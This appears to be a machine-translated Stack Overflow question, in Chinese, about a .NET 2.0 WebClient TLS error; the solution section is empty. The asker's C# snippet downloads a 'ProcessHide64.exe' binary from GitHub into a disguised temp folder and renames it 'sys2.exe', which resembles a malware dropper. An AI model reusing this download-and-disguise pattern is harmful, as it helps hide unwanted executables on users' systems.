c# - WebClient 异常底层连接已关闭:发送时发生意外错误 | .NET 2.0
问题描述
我正在编写一个新项目,我正在制作一个 webClient,将文件下载到磁盘我的代码是
string Temp = Path.GetTempPath();
Directory.CreateDirectory(Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12");
WebClient Client = new WebClient();
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
Client.Headers.Add("user-agent", "Mozilla");
Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHide64.exe?raw=true"), Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\sys2.exe");
解决方案
推荐阅读
- python - 如何从熊猫数据框中选择要绘制的列而不使用其名称
- ef-core-2.0 - 为什么在我的 ASP.Net Core 2.2 api 中尝试实现 UseNetTopologySuite 时出现此错误?
- ios - IPA 包含我的源代码在 IOS 中的相对路径
- angular - 管道成功排序数据,但测试返回不正确的结果
- ruby-on-rails - 未定义的局部变量或方法“acts_as_votable”
- google-sheets - Sumproduct 使用最大值
- reactjs - 类型{儿童:元素;} 与 IntrinsicAttributes 类型没有共同的属性
- reactjs - 如何在 Gatsby 箭头函数组件中初始化构造函数和状态?
- swift - 如何将数据添加到子集合
- npm - 收到错误“botium-cli 未被识别为内部或外部命令、可运行程序或批处理文件”